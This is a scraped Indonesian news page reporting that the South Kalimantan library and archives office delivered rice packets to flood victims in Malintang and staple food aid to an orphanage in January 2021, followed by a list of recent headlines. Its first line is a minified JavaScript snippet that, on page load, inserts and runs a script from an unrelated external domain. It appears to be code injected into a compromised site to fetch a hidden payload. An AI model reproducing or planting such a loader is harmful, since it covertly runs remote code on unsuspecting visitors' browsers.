(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Dispersip Kalsel

Palnam Peduli Antar Sembako ke Panti Asuhan hingga Bagikan Nasi Bungkus


KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Kalimantan Selatan terus beraksi peduli banjir Kalsel membagikan bantuan, mulai dari mengantar logistik sembako ke panti asuhan, hingga pengantaran nasi bungkus langsung ke warga.

Ratusan nasi bungkus diserahkan secara langsung kepada warga korban banjir di Desa Malintang, Kecamatan Gambut, Kabupaten Banjar, Minggu (31/1/2021).

Palnam Peduli bencana banjir Kalsel terus menyalurkan bantuan untuk membantu meringankan beban para korban banjir.

“Dispersip Kalsel akan terus membantu apapun yang bisa kami lakukan, kebetulan hari ini nasi bungkus, ya itu yang kami berikan,” ujar Kepala Dispersip Kalsel dra Hj Nurliani Dardie.

 

Salah satu warga Muhammad mengatakan akibat banjir ini banyak warga terdampak dari sisi ekonomi. “Bantuan ini sangat membantu kami,” ucapnya.

Sementara itu, selain membagikan nasi bungkus, Palnam Peduli juga mendatangi Panti Asuhan Pondok Pasantren Ibnu Ruslan As Syafiiyah di Jalan Malintang. Bantuan logistik yang disalurkan antara lain berupa sembako serta keperluan lainnya.

Pengurus Panti Asuhan Ibnu Ruslan Assyafi’iyyah Darul Yatama, Ustadz Bad Urizal, menyampaikan terima kasih atas kunjungan Dispersip Kalsel. Panti asuhan ini mengasuh 38 orang anak terdiri 6 anak yatim, 4 anak piatu dan 2 anak yatim piatu. Sisanya anak dari keluarga tidak mampu.

“Pendidikan anak asuh mulai tingkat SD, SMP, SMA dan kuliah, semua dibiayai oleh pengurus,” jelasnya.

Sejarah panti, didirikan oleh KH H Syafruddin (alm) yang berasal dari Nusa Tenggara Barat dan pernah menuntut ilmu di Mekkah, kemudian punya istri orang Malintang.

Tahun 1989 ikut istri bermukim di Malintang, masyakat mengangkat sebagai kiyai dan ingin membuat majelis ta’lim dari masyarakat dengan nama Sirajul Munir pada 1993. (kanalkalimantan.com/rls)
Reporter: rls
Editor: kk


Al Ghifari

Recent Posts

1 Ramadan Resmi Jatuh Kamis 19 Februari

KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More

9 jam ago

Hilal di Kalsel Tidak Terlihat, 1 Ramadan Menunggu Keputusan Pusat

KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More

11 jam ago

Arti Warna Merah dalam Tradisi Imlek

KANALKALIMANTAN.COM, BANJARMASIN - Dalam perayaan Tahun Baru Imlek, ada banyak warna merah menghiasi segala aspek… Read More

15 jam ago

Ini Makna di Balik Shio Kuda Api Imlek 2026

KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More

19 jam ago

Malam Imlek Penuh Khidmat di Klenteng Karta Raharja Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN – Di bawah kilauan lampion dan lilin yang berjejer rapi, ratusan warga Tionghoa… Read More

20 jam ago

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

2 hari ago

This website uses cookies.